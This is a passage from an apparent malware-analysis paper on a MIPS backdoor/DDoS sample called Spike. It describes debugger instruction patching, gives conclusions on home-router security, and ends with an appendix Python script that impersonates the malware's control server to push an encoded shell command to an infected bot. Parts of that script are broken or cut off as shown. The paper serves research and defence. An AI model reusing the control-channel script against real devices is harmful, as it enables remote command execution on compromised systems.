00409780  sw $ra, 0x20+var_1($sp)
```

Figure 33: Start address of ‘\_Z8SendInfoPv’ function

Hence, the Operand Address with the ‘jal’ command is calculated as:

\[
\text{Operand Address} = 0x0040977C/4 = 0x1025DF \& 0x03FFFFFF = 0x1025DF
\]
Thus, prepending the above value (0x1025DF) to the ‘jal’ instruction code (‘0x0C’) as in ‘DF 25 10 0C’ results in a call to the target function at the given address and is resolved by IDA Pro as “jal _Z8SendInfoPv” that is shown in Figure 32 above. By modifying the pthread calls, the thread functions can be analyzed without causing termination of the debugging session.

4.1 Jump to Self

When debugging malware on the x86 platform, a commonly useful instruction is ‘Jump to Self’ or 0xEBFE. This instruction is typically used when a researcher wants to pause code execution at a certain point while the debugger is not attached to it -- for example, in the case of code injection into a suspended process. With various tests it has been determined that on the 32-bit Little Endian MIPS platform, a jump instruction can be modified to ‘FF FF 00 10’ that causes it to branch-to-self.

5. Conclusion

In this paper, we have discussed debugging and code analysis of a Backdoor/DDoS malware sample for the MIPS architecture. The Spike DDoS malware supports various DDoS functions as well as allows the execution of Shell commands. In our research, we have observed that a majority of the malware for the MIPS platform, including a known APT malware, focus on DDoS functionality. Moreover, backdoor access, modification of DNS settings, and other spying mechanisms have also been used by some of these malware. These functionalities can be effectively leveraged by cyber criminals as well as nation-state actors to achieve their various agendas.

The current state of security for the majority of home routers lacks the fundamental mechanisms of scanning and eradicating malicious programs. Moreover, the awareness among end-users regarding the possible malicious usage of their network devices is minimal. As such, an infected home router often remains infected until replaced. This requires that Anti-Virus products, in addition to PCs and laptops, protect other home network devices as well. Both network device vendors and AV vendors need to provide

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mechanisms for auto-updating their devices’ firmware and eradicating malicious programs from them as well. This could perhaps help in minimizing these agents of DDoS and other malicious activities.
6. References


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Ullrich, J. (2014b). More Device Malware: This is why your DVR attacked my Synology Disk Station (and now with Bitcoin Miner!). Retrieved from https://isc2.sans.org/forums/diary/More+Device+Malware+This+is+why+your+DVR+attacked+my+Synology+Disk+Station+and+now+with+Bitcoin+Miner/17879


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Appendix A

The following script was used to listen for the malware’s message containing system information. It then sends a shell command to execute on the infected system. The malware traffic was redirected by modifying the IP address of the secondary control server that is shown in Figure 14.

```python
import socket, re, sys, thread

def sendCmd(botconn, botaddr, shellcmd):
    data = botconn.recv(1024)
    if re.search("VERSONEX", data):
        botconn.sendall(shellcmd)
        botconn.close()

if __name__ == "__main__":

    HOST="
    PORT=48080
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    try:
        s.bind((HOST, PORT))
    except:
        print "Bind failed!"
        sys.exit()
    s.listen(2)

    shellcmd =
    "\x05\x00\x00\x00\x72\xf8\xf6\x64\x86\x68\x98\x16\xd4\xa4\x5e\xcc" + \
    "\x60\xea\x6d\xe1\x01\x00\x00\x00\x25\x9e\x95\x7c\xeb\x92\xd0\x00" + \
    "\x40\xeb\x6d\xe1\x9d\x95\x7c\xe8\x0d\x00\x00\xc9\x9d\x95\x7c" + \
    "\x00\x00\x00\x00\xb8\x92\xd0\x00\x00\x00\x6e\xd0\x00\xc9\x9d\x95\x7c" + \
```

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Analysis of a MIPS Malware

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while 1:
    botconn, botaddr = s.accept()
    thread.start_new_thread(sendCmd, (botconn, botaddr, shellcmd))
    s.close()
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